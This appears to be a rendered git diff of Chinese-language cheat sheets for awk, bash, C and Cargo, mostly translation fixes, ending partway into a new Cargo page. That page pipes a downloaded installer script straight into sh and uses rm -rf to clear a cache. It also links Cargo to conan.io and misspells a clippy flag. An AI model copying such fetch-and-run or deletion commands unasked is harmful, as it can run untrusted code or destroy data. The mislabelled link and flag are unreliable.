### 用户定义函数
|
||||
|
||||
```shell
|
||||
awk '
|
||||
# 返回最小数量
|
||||
function find_min(num1, num2){
|
||||
if (num1 < num2)
|
||||
return num1
|
||||
return num2
|
||||
}
|
||||
# 返回最大数量
|
||||
function find_max(num1, num2){
|
||||
if (num1 > num2)
|
||||
return num1
|
||||
return num2
|
||||
}
|
||||
# 主功能
|
||||
function main(num1, num2){
|
||||
result = find_min(num1, num2)
|
||||
print "Minimum =", result
|
||||
|
||||
result = find_max(num1, num2)
|
||||
print "Maximum =", result
|
||||
}
|
||||
# 脚本执行从这里开始
|
||||
BEGIN {
|
||||
main(10, 60)
|
||||
}
|
||||
'
|
||||
```
|
||||
|
||||
Awk 数组
|
||||
---------
|
||||
|
||||
### 带索引的数组
|
||||
|
||||
```shell
|
||||
awk 'BEGIN {
|
||||
arr[0] = "foo";
|
||||
arr[1] = "bar";
|
||||
print(arr[0]); # => foo
|
||||
delete arr[0];
|
||||
print(arr[0]); # => ""
|
||||
}'
|
||||
```
|
||||
|
||||
### 带键的数组
|
||||
|
||||
```shell
|
||||
awk 'BEGIN {
|
||||
assoc["foo"] = "bar";
|
||||
assoc["bar"] = "baz";
|
||||
print("baz" in assoc); # => 0
|
||||
print("foo" in assoc); # => 1
|
||||
}'
|
||||
```
|
||||
|
||||
### 带拆分的数组
|
||||
|
||||
```shell
|
||||
awk 'BEGIN {
|
||||
split("foo:bar:baz", arr, ":");
|
||||
for (key in arr)
|
||||
print arr[key];
|
||||
}'
|
||||
```
|
||||
|
||||
### 带有排序的数组
|
||||
|
||||
```shell
|
||||
awk 'BEGIN {
|
||||
arr[0] = 3
|
||||
arr[1] = 2
|
||||
arr[2] = 4
|
||||
n = asort(arr)
|
||||
for (i = 1; i <= n ; i++)
|
||||
print(arr[i])
|
||||
}'
|
||||
```
|
||||
|
||||
### 多维
|
||||
|
||||
```shell
|
||||
awk 'BEGIN {
|
||||
multidim[0,0] = "foo";
|
||||
multidim[0,1] = "bar";
|
||||
multidim[1,0] = "baz";
|
||||
multidim[1,1] = "boo";
|
||||
}'
|
||||
```
|
||||
|
||||
### 多维迭代
|
||||
|
||||
```shell
|
||||
awk 'BEGIN {
|
||||
array[1,2]=3;
|
||||
array[2,3]=5;
|
||||
for (comb in array) {
|
||||
split(comb,sep,SUBSEP);
|
||||
print sep[1], sep[2],
|
||||
array[sep[1],sep[2]]
|
||||
}
|
||||
}'
|
||||
```
|
||||
|
||||
Awk 条件
|
||||
----------
|
||||
|
||||
### if-else 语句
|
||||
|
||||
```shell
|
||||
awk -v count=2 'BEGIN {
|
||||
if (count == 1)
|
||||
print "Yes";
|
||||
else
|
||||
print "Huh?";
|
||||
}'
|
||||
```
|
||||
|
||||
#### 三元运算符
|
||||
|
||||
```shell
|
||||
awk -v count=2 'BEGIN {
|
||||
print (count==1) ? "Yes" : "Huh?";
|
||||
}'
|
||||
```
|
||||
|
||||
### 存在
|
||||
|
||||
```shell
|
||||
awk 'BEGIN {
|
||||
assoc["foo"] = "bar";
|
||||
assoc["bar"] = "baz";
|
||||
if ("foo" in assoc)
|
||||
print "Fooey!";
|
||||
}'
|
||||
```
|
||||
|
||||
#### 不存在
|
||||
|
||||
```shell
|
||||
awk 'BEGIN {
|
||||
assoc["foo"] = "bar";
|
||||
assoc["bar"] = "baz";
|
||||
if ("Huh" in assoc == 0 )
|
||||
print "Huh!";
|
||||
}'
|
||||
```
|
||||
|
||||
### switch
|
||||
|
||||
```shell
|
||||
awk -F: '{
|
||||
switch (NR * 2 + 1) {
|
||||
case 3:
|
||||
case "11":
|
||||
print NR - 1
|
||||
break
|
||||
case /2[[:digit:]]+/:
|
||||
print NR
|
||||
default:
|
||||
print NR + 1
|
||||
case -1:
|
||||
print NR * -1
|
||||
}
|
||||
}' /etc/passwd
|
||||
```
|
||||
|
||||
Awk 循环
|
||||
----------
|
||||
|
||||
### for...i
|
||||
|
||||
```shell
|
||||
awk 'BEGIN {
|
||||
for (i = 0; i < 10; i++)
|
||||
print "i=" i;
|
||||
}'
|
||||
```
|
||||
|
||||
#### 1 到 100 之间的 2 的幂
|
||||
|
||||
```shell
|
||||
awk 'BEGIN {
|
||||
for (i = 1; i <= 100; i *= 2)
|
||||
print i
|
||||
}'
|
||||
```
|
||||
|
||||
### for...in
|
||||
|
||||
```shell
|
||||
awk 'BEGIN {
|
||||
assoc["key1"] = "val1"
|
||||
assoc["key2"] = "val2"
|
||||
for (key in assoc)
|
||||
print assoc[key];
|
||||
}'
|
||||
```
|
||||
|
||||
#### Arguments
|
||||
|
||||
```shell
|
||||
awk 'BEGIN {
|
||||
for (argnum in ARGV)
|
||||
print ARGV[argnum];
|
||||
}' a b c
|
||||
```
|
||||
|
||||
### 示例
|
||||
<!--rehype:wrap-class=row-span-3-->
|
||||
|
||||
#### 反向记录
|
||||
|
||||
```shell
|
||||
awk -F: '{ x[NR] = $0 }
|
||||
END {
|
||||
for (i = NR; i > 0; i--)
|
||||
print x[i]
|
||||
}
|
||||
' /etc/passwd
|
||||
```
|
||||
|
||||
#### 反向字段
|
||||
|
||||
```shell
|
||||
awk -F: '{
|
||||
for (i = NF; i > 0; i--)
|
||||
printf("%s ",$i);
|
||||
print ""
|
||||
}' /etc/passwd
|
||||
```
|
||||
|
||||
#### 按记录求和
|
||||
|
||||
```shell
|
||||
awk -F: '{
|
||||
s=0;
|
||||
for (i = 1; i <= NF; i++)
|
||||
s += $i;
|
||||
print s
|
||||
}' /etc/passwd
|
||||
```
|
||||
|
||||
#### 总结整个文件
|
||||
|
||||
```shell
|
||||
awk -F: '
|
||||
{for (i = 1; i <= NF; i++)
|
||||
s += $i;
|
||||
};
|
||||
END{print s}
|
||||
' /etc/passwd
|
||||
```
|
||||
|
||||
### while
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```shell
|
||||
awk 'BEGIN {
|
||||
while (a < 10) {
|
||||
print "- " " concatenation: " a
|
||||
a++;
|
||||
}
|
||||
}'
|
||||
```
|
||||
|
||||
#### do...while
|
||||
|
||||
```shell
|
||||
awk '{
|
||||
i = 1
|
||||
do {
|
||||
print $0
|
||||
i++
|
||||
} while (i <= 5)
|
||||
}' /etc/passwd
|
||||
```
|
||||
|
||||
### Break
|
||||
|
||||
```shell
|
||||
awk 'BEGIN {
|
||||
break_num = 5
|
||||
for (i = 0; i < 10; i++) {
|
||||
print i
|
||||
if (i == break_num)
|
||||
break
|
||||
}
|
||||
}'
|
||||
```
|
||||
|
||||
### Continue
|
||||
|
||||
```shell
|
||||
awk 'BEGIN {
|
||||
for (x = 0; x <= 10; x++) {
|
||||
if (x == 5 || x == 6)
|
||||
continue
|
||||
printf "%d ", x
|
||||
}
|
||||
print ""
|
||||
}'
|
||||
```
|
||||
|
||||
Awk 格式化打印
|
||||
---------
|
||||
|
||||
### 用法
|
||||
|
||||
#### 右对齐
|
||||
|
||||
```shell
|
||||
awk 'BEGIN{printf "|%10s|\n", "hello"}'
|
||||
# | hello|
|
||||
```
|
||||
|
||||
#### 左对齐
|
||||
|
||||
```shell
|
||||
awk 'BEGIN{printf "|%-10s|\n", "hello"}'
|
||||
# |hello |
|
||||
```
|
||||
|
||||
### 通用说明符
|
||||
|
||||
特征符 | 描述
|
||||
:- | :-
|
||||
`c` | ASCII 字符
|
||||
`d` | 十进制整数
|
||||
`e`, `E`, `f` | 浮点格式
|
||||
`o` | 无符号八进制值
|
||||
`s` | 细绳
|
||||
`%` | 文字百分比
|
||||
|
||||
### Space 空间
|
||||
|
||||
```shell
|
||||
awk -F: '{
|
||||
printf "%-10s %s\n", $1, $(NF-1)
|
||||
}' /etc/passwd | head -n 3
|
||||
```
|
||||
|
||||
输出
|
||||
|
||||
```shell
|
||||
root /root
|
||||
bin /bin
|
||||
daemon /sbin
|
||||
```
|
||||
|
||||
### Header 标题头
|
||||
|
||||
```shell
|
||||
awk -F: 'BEGIN {
|
||||
printf "%-10s %s\n", "User", "Home"
|
||||
printf "%-10s %s\n", "----","----"}
|
||||
{ printf "%-10s %s\n", $1, $(NF-1) }
|
||||
' /etc/passwd | head -n 5
|
||||
```
|
||||
|
||||
输出
|
||||
|
||||
```shell
|
||||
User Home
|
||||
---- ----
|
||||
root /root
|
||||
bin /bin
|
||||
daemon /sbin
|
||||
```
|
||||
|
||||
各种各样的
|
||||
-------------
|
||||
|
||||
### 正则表达式元字符
|
||||
|
||||
- `\`
|
||||
- `^`
|
||||
- `$`
|
||||
- `.`
|
||||
- `[`
|
||||
- `]`
|
||||
- `|`
|
||||
- `(`
|
||||
- `)`
|
||||
- `*`
|
||||
- `+`
|
||||
- `?`
|
||||
<!--rehype:className=cols-3 style-none-->
|
||||
|
||||
### 转义序列
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`\b` | 退格
|
||||
`\f` | 换页
|
||||
`\n` | 换行(换行)
|
||||
`\r` | 回车
|
||||
`\t` | 水平选项卡
|
||||
`\v` | 垂直选项卡
|
||||
|
||||
### 运行脚本
|
||||
|
||||
```shell
|
||||
$ cat demo.awk
|
||||
#!/usr/bin/awk -f
|
||||
BEGIN { x = 23 }
|
||||
{ x += 2 }
|
||||
END { print x }
|
||||
$ awk -f demo.awk /etc/passwd
|
||||
69
|
||||
```
|
||||
|
||||
另见
|
||||
--------
|
||||
|
||||
- [GNU awk 用户指南](https://www-zeuthen.desy.de/dv/documentation/unixguide/infohtml/gawk/gawk.html) _(www-zeuthen.desy.de)_
|
||||
- [AWK cheatsheet](https://gist.github.com/Rafe/3102414) _(gist.github.com)_
|
105
docs/bash.md
105
docs/bash.md
@ -27,22 +27,20 @@ NAME="John"
|
||||
echo ${NAME} # => John (变量)
|
||||
echo $NAME # => John (变量)
|
||||
echo "$NAME" # => John (变量)
|
||||
echo '$NAME' # => $NAME (确切的字符串)
|
||||
echo '$NAME' # => $NAME (字符串原样输出)
|
||||
echo "${NAME}!" # => John! (变量)
|
||||
NAME = "John" # => Error (关于空间)
|
||||
NAME = "John" # => Error (注意不能有空格)
|
||||
```
|
||||
|
||||
### 注释
|
||||
|
||||
```bash
|
||||
# 这是一个内联 Bash 注释。
|
||||
```
|
||||
|
||||
```shell
|
||||
# 这是一个内联 Bash 注释。
|
||||
|
||||
: '
|
||||
这是一个
|
||||
非常整洁的评论
|
||||
在 bash
|
||||
非常整洁的
|
||||
bash 注释
|
||||
'
|
||||
```
|
||||
|
||||
@ -55,18 +53,17 @@ NAME = "John" # => Error (关于空间)
|
||||
:-|-
|
||||
`$1` … `$9` | 参数 1 ... 9
|
||||
`$0` | 脚本本身的名称
|
||||
`$1` | 第一个论点
|
||||
`$1` | 第一个参数
|
||||
`${10}` | 位置参数 10
|
||||
`$#` | 参数数量
|
||||
`$$` | shell 的进程 id
|
||||
`$*` | 所有论据
|
||||
`$*` | 所有参数
|
||||
`$@` | 所有参数,从第一个开始
|
||||
`$-` | 当前选项
|
||||
`$_` | 上一个命令的最后一个参数
|
||||
|
||||
见:[特殊参数](http://wiki.bash-hackers.org/syntax/shellvars#special_parameters_and_shell_variables)
|
||||
|
||||
|
||||
### 函数
|
||||
|
||||
```bash
|
||||
@ -206,7 +203,7 @@ DIRPATH=${SRC%$BASEPATH}
|
||||
echo $DIRPATH # => "/path/to/"
|
||||
```
|
||||
|
||||
### Transform
|
||||
### Transform
|
||||
|
||||
```bash
|
||||
STR="HELLO WORLD!"
|
||||
@ -222,7 +219,7 @@ echo "${ARR[@],}" # => hello world
|
||||
echo "${ARR[@]^}" # => Hello World
|
||||
```
|
||||
|
||||
Bash 数组
|
||||
Bash 数组
|
||||
------
|
||||
|
||||
### 定义数组
|
||||
@ -249,14 +246,14 @@ Numbers+=(4 5) # 附加 => 1 2 3 4 5
|
||||
|
||||
:- | -
|
||||
:- | -
|
||||
`${Fruits[0]}` | 第一个元素
|
||||
`${Fruits[-1]}` | 最后一个元素
|
||||
`${Fruits[*]}` | 所有元素
|
||||
`${Fruits[@]}` | 所有元素
|
||||
`${#Fruits[@]}` | 总数
|
||||
`${#Fruits}` | 第一节长度
|
||||
`${#Fruits[3]}` | 第n个长度
|
||||
`${Fruits[@]:3:2}` | 范围
|
||||
`${Fruits[0]}` | 第一个元素
|
||||
`${Fruits[-1]}` | 最后一个元素
|
||||
`${Fruits[*]}` | 所有元素
|
||||
`${Fruits[@]}` | 所有元素
|
||||
`${#Fruits[@]}` | 总数
|
||||
`${#Fruits}` | 第一节长度
|
||||
`${#Fruits[3]}` | 第n个长度
|
||||
`${Fruits[@]:3:2}` | 范围
|
||||
`${!Fruits[@]}` | 所有 Key
|
||||
|
||||
### 迭代 Iteration
|
||||
@ -267,7 +264,9 @@ for e in "${Fruits[@]}"; do
|
||||
echo $e
|
||||
done
|
||||
```
|
||||
|
||||
#### With index
|
||||
|
||||
```bash
|
||||
for i in "${!Fruits[@]}"; do
|
||||
printf "%s\t%s\n" "$i" "${Fruits[$i]}"
|
||||
@ -278,8 +277,8 @@ done
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
```bash
|
||||
Fruits=("${Fruits[@]}" "Watermelon") # 推
|
||||
Fruits+=('Watermelon') # 也推
|
||||
Fruits=("${Fruits[@]}" "Watermelon") # 添加
|
||||
Fruits+=('Watermelon') # 也是添加
|
||||
Fruits=( ${Fruits[@]/Ap*/} ) # 通过正则表达式匹配删除
|
||||
unset Fruits[2] # 删除一项
|
||||
Fruits=("${Fruits[@]}") # 复制
|
||||
@ -351,14 +350,14 @@ Bash 条件句
|
||||
:- | -
|
||||
`[[ NUM -eq NUM ]]` | 等于 <yel>Eq</yel>ual |
|
||||
`[[ NUM -ne NUM ]]` | 不等于 <yel>N</yel>ot <yel>e</yel>qual |
|
||||
`[[ NUM -lt NUM ]]` | 少于 <yel>L</yel>ess <yel>t</yel>han |
|
||||
`[[ NUM -le NUM ]]` | 小于或等于 <yel>L</yel>ess than or <yel>e</yel>qual |
|
||||
`[[ NUM -lt NUM ]]` | 小于 <yel>L</yel>ess <yel>t</yel>han |
|
||||
`[[ NUM -le NUM ]]` | 小于等于 <yel>L</yel>ess than or <yel>e</yel>qual |
|
||||
`[[ NUM -gt NUM ]]` | 大于 <yel>G</yel>reater <yel>t</yel>han |
|
||||
`[[ NUM -ge NUM ]]` | 大于或等于 <yel>G</yel>reater than or <yel>e</yel>qual |
|
||||
`(( NUM < NUM ))` | 少于
|
||||
`[[ NUM -ge NUM ]]` | 大于等于 <yel>G</yel>reater than or <yel>e</yel>qual |
|
||||
`(( NUM < NUM ))` | 小于
|
||||
`(( NUM <= NUM ))` | 小于或等于
|
||||
`(( NUM > NUM ))` | 比...更棒
|
||||
`(( NUM >= NUM ))` | 大于或等于
|
||||
`(( NUM > NUM ))` | 比...更大
|
||||
`(( NUM >= NUM ))` | 大于等于
|
||||
|
||||
### 字符串条件
|
||||
|
||||
@ -366,7 +365,7 @@ Bash 条件句
|
||||
:- | -
|
||||
`[[ -z STR ]]` | 空字符串
|
||||
`[[ -n STR ]]` | <yel>非</yel>空字符串
|
||||
`[[ STR == STR ]]` | 平等的
|
||||
`[[ STR == STR ]]` | 相等
|
||||
`[[ STR = STR ]]` | 相等(同上)
|
||||
`[[ STR < STR ]]` | 小于 _(ASCII)_
|
||||
`[[ STR > STR ]]` | 大于 _(ASCII)_
|
||||
@ -412,7 +411,7 @@ if [[ '1. abc' =~ ([a-z]+) ]]; then
|
||||
fi
|
||||
```
|
||||
|
||||
#### 更小
|
||||
#### 小于
|
||||
|
||||
```bash
|
||||
if (( $a < $b )); then
|
||||
@ -442,10 +441,9 @@ fi
|
||||
`[[ -w FILE ]]` | 可写
|
||||
`[[ -x FILE ]]` | 可执行文件
|
||||
`[[ f1 -nt f2 ]]` | f1 比 f2 新
|
||||
`[[ f1 -ot f2 ]]` | f2 早于 f1
|
||||
`[[ f1 -ot f2 ]]` | f2 比 f1 新
|
||||
`[[ f1 -ef f2 ]]` | 相同的文件
|
||||
|
||||
|
||||
### 更多条件
|
||||
|
||||
条件 | 描述
|
||||
@ -453,7 +451,7 @@ fi
|
||||
`[[ -o noclobber ]]` | 如果启用 OPTION
|
||||
`[[ ! EXPR ]]` | 不是 Not
|
||||
`[[ X && Y ]]` | 和 And
|
||||
`[[ X \|\| Y ]]` | 或者 Or
|
||||
`[[ X \|\| Y ]]` | 或者 Or
|
||||
|
||||
### 逻辑和,或
|
||||
|
||||
@ -494,7 +492,7 @@ for i in {1..5}; do
|
||||
done
|
||||
```
|
||||
|
||||
#### 具有步长
|
||||
#### 步长
|
||||
|
||||
```bash
|
||||
for i in {5..50..5}; do
|
||||
@ -512,7 +510,7 @@ while [[ $i -lt 4 ]]; do
|
||||
done
|
||||
```
|
||||
|
||||
### 自动递增
|
||||
### 自动递减
|
||||
|
||||
```bash
|
||||
i=3
|
||||
@ -556,7 +554,7 @@ until [ $count -gt 10 ]; do
|
||||
done
|
||||
```
|
||||
|
||||
### 永远
|
||||
### 死循环
|
||||
|
||||
```bash
|
||||
while true; do
|
||||
@ -564,7 +562,7 @@ while true; do
|
||||
done
|
||||
```
|
||||
|
||||
### 永远(简写)
|
||||
### 死循环(简写)
|
||||
|
||||
```bash
|
||||
while :; do
|
||||
@ -572,8 +570,7 @@ while :; do
|
||||
done
|
||||
```
|
||||
|
||||
|
||||
### 正在读取行
|
||||
### 读取文件的每一行
|
||||
|
||||
```bash
|
||||
cat file.txt | while read line; do
|
||||
@ -616,7 +613,7 @@ myfunc() {
|
||||
result="$(myfunc)"
|
||||
```
|
||||
|
||||
### 正在引发错误
|
||||
### 抛出错误
|
||||
|
||||
```bash
|
||||
myfunc() {
|
||||
@ -722,8 +719,7 @@ Bash 历史
|
||||
|
||||
`!!` 可以替换为任何有效的扩展,即 `!cat`、`!-2`、`!42` 等。
|
||||
|
||||
|
||||
各种各样的
|
||||
杂项
|
||||
-------------
|
||||
|
||||
### 数值计算
|
||||
@ -743,7 +739,6 @@ $(($RANDOM%200)) # Random number 0..199
|
||||
pwd # still in first directory
|
||||
```
|
||||
|
||||
|
||||
### 检查命令
|
||||
|
||||
```bash
|
||||
@ -767,7 +762,6 @@ python hello.py &>/dev/null # 标准输出和标准错误到(空null)
|
||||
python hello.py < foo.txt # 将 foo.txt 提供给 python 的标准输入
|
||||
```
|
||||
|
||||
|
||||
### 来源相对
|
||||
|
||||
```bash
|
||||
@ -793,7 +787,6 @@ case "$1" in
|
||||
esac
|
||||
```
|
||||
|
||||
|
||||
### 陷阱错误
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
@ -864,7 +857,6 @@ fi
|
||||
|
||||
见[特殊参数](http://wiki.bash-hackers.org/syntax/shellvars#special_parameters_and_shell_variables)。
|
||||
|
||||
|
||||
### grep 检查
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
@ -874,11 +866,10 @@ if grep -q 'foo' ~/.bash_history; then
|
||||
fi
|
||||
```
|
||||
|
||||
|
||||
### 反斜杠转义
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
-
|
||||
-
|
||||
- \!
|
||||
- \"
|
||||
- \#
|
||||
@ -965,11 +956,11 @@ echo "${args[@]}"
|
||||
另见
|
||||
----
|
||||
|
||||
* [Shell 教程](https://jaywcjlove.github.io/shell-tutorial) _(jaywcjlove.github.io)_
|
||||
* [Devhints](https://devhints.io/bash) _(devhints.io)_
|
||||
* [Bash-hackers wiki](http://wiki.bash-hackers.org/) _(bash-hackers.org)_
|
||||
* [Shell vars](http://wiki.bash-hackers.org/syntax/shellvars) _(bash-hackers.org)_
|
||||
* [Learn bash in y minutes](https://learnxinyminutes.com/docs/bash/) _(learnxinyminutes.com)_
|
||||
* [Bash Guide](http://mywiki.wooledge.org/BashGuide) _(mywiki.wooledge.org)_
|
||||
* [ShellCheck](https://www.shellcheck.net/) _(shellcheck.net)_
|
||||
* [shell - Standard Shell](https://devmanual.gentoo.org/tools-reference/bash/index.html) _(devmanual.gentoo.org)_
|
||||
- [Shell 教程](https://jaywcjlove.github.io/shell-tutorial) _(jaywcjlove.github.io)_
|
||||
- [Devhints](https://devhints.io/bash) _(devhints.io)_
|
||||
- [Bash-hackers wiki](http://wiki.bash-hackers.org/) _(bash-hackers.org)_
|
||||
- [Shell vars](http://wiki.bash-hackers.org/syntax/shellvars) _(bash-hackers.org)_
|
||||
- [Learn bash in y minutes](https://learnxinyminutes.com/docs/bash/) _(learnxinyminutes.com)_
|
||||
- [Bash Guide](http://mywiki.wooledge.org/BashGuide) _(mywiki.wooledge.org)_
|
||||
- [ShellCheck](https://www.shellcheck.net/) _(shellcheck.net)_
|
||||
- [shell - Standard Shell](https://devmanual.gentoo.org/tools-reference/bash/index.html) _(devmanual.gentoo.org)_
|
||||
|
47
docs/c.md
47
docs/c.md
@ -44,7 +44,7 @@ int myNum3 = 15; // myNum3 值为 15
|
||||
myNum3 = 10; // 现在 myNum3 值为 10
|
||||
|
||||
float myFloatNum = 5.99; // 浮点数
|
||||
char myLetter = 'D'; // 字符串
|
||||
char myLetter = 'D'; // 字符
|
||||
|
||||
int x = 5;
|
||||
int y = 6;
|
||||
@ -560,13 +560,13 @@ printf("Line 6 - c 的值是 %d\n", c );
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
运算符 | 描述 | 实例
|
||||
:- |:- |:-
|
||||
:- |:- |:-
|
||||
`&` | 按位与操作,按二进制位进行"与"运算 | `(A & B)` 将得到 `12` 即为 0000 1100
|
||||
`\|` | 按位或运算符,按二进制位进行"或"运算 | `(A \| B)` 将得到 `61` 即为 0011 1101
|
||||
`^` | 异或运算符,按二进制位进行"异或"运算 | `(A ^ B)` 将得到 `49` 即为 0011 0001
|
||||
`~` | 取反运算符,按二进制位进行"取反"运算 | `(~A)` 将得到 `-61` 即为 1100 0011
|
||||
`<<` | 二进制左移运算符 | `A << 2` 将得到 `240` 即为 1111 0000
|
||||
`>>` | 二进制右移运算符 | `A >> 2` 将得到 `15` 即为 0000 1111
|
||||
`<<` | 二进制左移运算符 | `A << 2` 将得到 `240` 即为 1111 0000
|
||||
`>>` | 二进制右移运算符 | `A >> 2` 将得到 `15` 即为 0000 1111
|
||||
|
||||
数据类型 Data Types
|
||||
---
|
||||
@ -608,7 +608,7 @@ printf("%c\n", myLetter);
|
||||
printf("%lf\n", myDouble);
|
||||
```
|
||||
|
||||
---
|
||||
----
|
||||
|
||||
数据类型 | 说 明
|
||||
:- | :-
|
||||
@ -620,7 +620,6 @@ printf("%lf\n", myDouble);
|
||||
`double` | 双精度浮点型
|
||||
`void` | 无类型
|
||||
|
||||
|
||||
### 基本格式说明符
|
||||
|
||||
| 格式说明符 | 数据类型 |
|
||||
@ -659,17 +658,17 @@ printf("%c\n", myLetter);
|
||||
|
||||
指令 | 描述
|
||||
---- | ----
|
||||
`#define` | 定义宏
|
||||
`#include` | 包含一个源代码文件
|
||||
`#undef` | 取消已定义的宏
|
||||
`#ifdef` | 如果宏已经定义,则返回真
|
||||
`#ifndef` | 如果宏没有定义,则返回真
|
||||
`#if` | 如果给定条件为真,则编译下面代码
|
||||
`#else` | `#if` 的替代方案
|
||||
`#define` | 定义宏
|
||||
`#include` | 包含一个源代码文件
|
||||
`#undef` | 取消已定义的宏
|
||||
`#ifdef` | 如果宏已经定义,则返回真
|
||||
`#ifndef` | 如果宏没有定义,则返回真
|
||||
`#if` | 如果给定条件为真,则编译下面代码
|
||||
`#else` | `#if` 的替代方案
|
||||
`#elif` | 如果 `#if` 条件为假,当前条件为`真`
|
||||
`#endif` | 结束一个 `#if……#else` 条件编译块
|
||||
`#error` | 当遇到标准错误时,输出错误消息
|
||||
`#pragma` | 使用标准化方法,向编译器发布特殊的命令到编译器中
|
||||
`#endif` | 结束一个 `#if……#else` 条件编译块
|
||||
`#error` | 当遇到标准错误时,输出错误消息
|
||||
`#pragma` | 使用标准化方法,向编译器发布特殊的命令到编译器中
|
||||
|
||||
```c
|
||||
// 所有的 MAX_ARRAY_LENGTH 替换为 20
|
||||
@ -743,8 +742,6 @@ Carole 和 Debra: 我们爱你!
|
||||
|
||||
需要把一个宏的参数转换为字符串常量时,使用字符串常量化运算符 `#`
|
||||
|
||||
|
||||
|
||||
### 标记粘贴运算符(##)
|
||||
|
||||
```c
|
||||
@ -821,12 +818,12 @@ void myFunction() { // 声明 declaration
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
----
|
||||
|
||||
- `Declaration` 声明函数名称、返回类型和参数 _(如果有)_
|
||||
- `Definition` 函数体 _(要执行的代码)_
|
||||
|
||||
---
|
||||
----
|
||||
|
||||
```c
|
||||
// 函数声明
|
||||
@ -949,7 +946,7 @@ printf("%f", floor(1.4)); // 四舍五入 (舍)
|
||||
printf("%f", pow(4, 3)); // x(4)的y(3)次方
|
||||
```
|
||||
|
||||
---
|
||||
----
|
||||
|
||||
- `abs(x)` 绝对值
|
||||
- `acos(x)` 反余弦值
|
||||
@ -1304,16 +1301,21 @@ void main (){
|
||||
|
||||
- 安装 [`Docker`](./docker.md)
|
||||
- 创建 [`Dockerfile`](./dockerfile.md) 文件
|
||||
|
||||
```dockerfile
|
||||
FROM alpine:3.14
|
||||
RUN apk add --no-cache gcc musl-dev
|
||||
RUN apk add --no-cache g++
|
||||
```
|
||||
|
||||
- 生成本地 myalpine 镜像
|
||||
|
||||
```bash
|
||||
docker build -t myalpine .
|
||||
```
|
||||
|
||||
- 运行映像,把当前路径 `($PWD)` 映射至容器的 `/test` 目录,用 `gcc` 编译程序,`exit`返回
|
||||
|
||||
```bash
|
||||
docker run -it -v $PWD:/test myalpine
|
||||
root@b1a38bd7107a:/# cd test
|
||||
@ -1324,8 +1326,7 @@ void main (){
|
||||
```
|
||||
<!--rehype:className=style-timeline-->
|
||||
|
||||
|
||||
另见
|
||||
---
|
||||
|
||||
- [C 教程](https://jaywcjlove.github.io/c-tutorial) _(jaywcjlove.github.io)_
|
||||
- [C 教程](https://jaywcjlove.github.io/c-tutorial) _(jaywcjlove.github.io)_
|
||||
|
444
docs/cargo.md
Normal file
444
docs/cargo.md
Normal file
@ -0,0 +1,444 @@
|
||||
Cargo 备忘清单
|
||||
===
|
||||
|
||||
此快速参考备忘清单 [Cargo](https://conan.io/) 提供了编译 [Rust](./rust.md) 常用命令和示例
|
||||
|
||||
入门
|
||||
--------
|
||||
|
||||
### 安装/升级 Rust 和 Cargo
|
||||
|
||||
```bash
|
||||
$ curl -sSf https://static.rust-lang.org/rustup.sh | sh
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
在 Linux 和 macOS 系统上,这可以通过以上方命令完成
|
||||
|
||||
- [Cargo 开源仓库](https://github.com/rust-lang/cargo) _(github.com)_
|
||||
- [Cargo 官网](https://doc.rust-lang.org/cargo) _(doc.rust-lang.org)_
|
||||
- [Cargo 官网(中文)](https://www.rustwiki.org.cn/zh-CN/cargo/index.html) _(rustwiki.org.cn)_
|
||||
- [Rust 社区的 crate 仓库](https://crates.io/) _(crates.io)_
|
||||
|
||||
### 命令说明
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`cargo version` | 显示版本信息以确认 Cargo 已安装
|
||||
`cargo new` | 创建一个新项目
|
||||
`cargo test` | 在项目中运行单元测试
|
||||
`cargo check` | 快速编译项目,无需生成二进制文件来检查错误
|
||||
`cargo fmt` | 自动格式化代码
|
||||
`cargo build` | 编译一个项目
|
||||
`cargo run` | 一步编译和运行项目
|
||||
`cargo clippy --all-targets -- --D warnings` | Linter 检查错误
|
||||
`cargo tarpaulin --ignore-tests` | 检查代码覆盖率
|
||||
|
||||
### 切换源
|
||||
<!--rehype:wrap-class=col-span-2&style=background:#e91e63;--->
|
||||
|
||||
```bash
|
||||
$ touch ~/.cargo/config # 添加配置文件
|
||||
$ vim ~/.cargo/config # 编辑配置文件
|
||||
```
|
||||
|
||||
配置文件 `config` 内容
|
||||
|
||||
```toml
|
||||
[source.crates-io]
|
||||
registry = "https://github.com/rust-lang/crates.io-index"
|
||||
replace-with = 'tuna' # 👈 如果需要提交包注释配置源
|
||||
|
||||
[source.tuna]
|
||||
registry = "https://mirrors.tuna.tsinghua.edu.cn/git/crates.io-index.git"
|
||||
# registry = "git://mirrors.ustc.edu.cn/crates.io-index"
|
||||
```
|
||||
|
||||
💥 注意切换源需要删除缓存目录
|
||||
|
||||
```bash
|
||||
$ rm -rf ~/.cargo/.package-cache # ⚠️ 删除缓存目录内容
|
||||
```
|
||||
|
||||
### 创建新项目
|
||||
<!--rehype:wrap-class=row-span-3-->
|
||||
|
||||
```bash
|
||||
$ cargo new hello_world --bin
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
- `--bin` 正在制作一个二进制程序
|
||||
- `--lib` 正在创建一个库(lib)
|
||||
|
||||
得到如下目录:
|
||||
|
||||
```bash
|
||||
$ cd hello_world
|
||||
$ tree .
|
||||
.
|
||||
├── Cargo.toml
|
||||
└── src
|
||||
└── main.rs
|
||||
```
|
||||
|
||||
`Cargo.toml` 被称为一个 `manifest` 元清单,它包含了 `Cargo` 编译项目所需的所有元数据
|
||||
|
||||
```toml
|
||||
[package]
|
||||
name = "hello_world"
|
||||
version = "0.1.0"
|
||||
authors = ["Your Name <you@example.com>"]
|
||||
edition = "2018"
|
||||
|
||||
[dependencies]
|
||||
```
|
||||
|
||||
入口文件 `src/main.rs`
|
||||
|
||||
```rust
|
||||
fn main() {
|
||||
println!("Hello, world!");
|
||||
}
|
||||
```
|
||||
|
||||
运行编译生成 `hello_world` 二进制文件
|
||||
|
||||
```bash
|
||||
$ cargo build
|
||||
# 文件放入 `target/release` 目录
|
||||
$ cargo build --release
|
||||
```
|
||||
|
||||
然后运行它:
|
||||
|
||||
```bash
|
||||
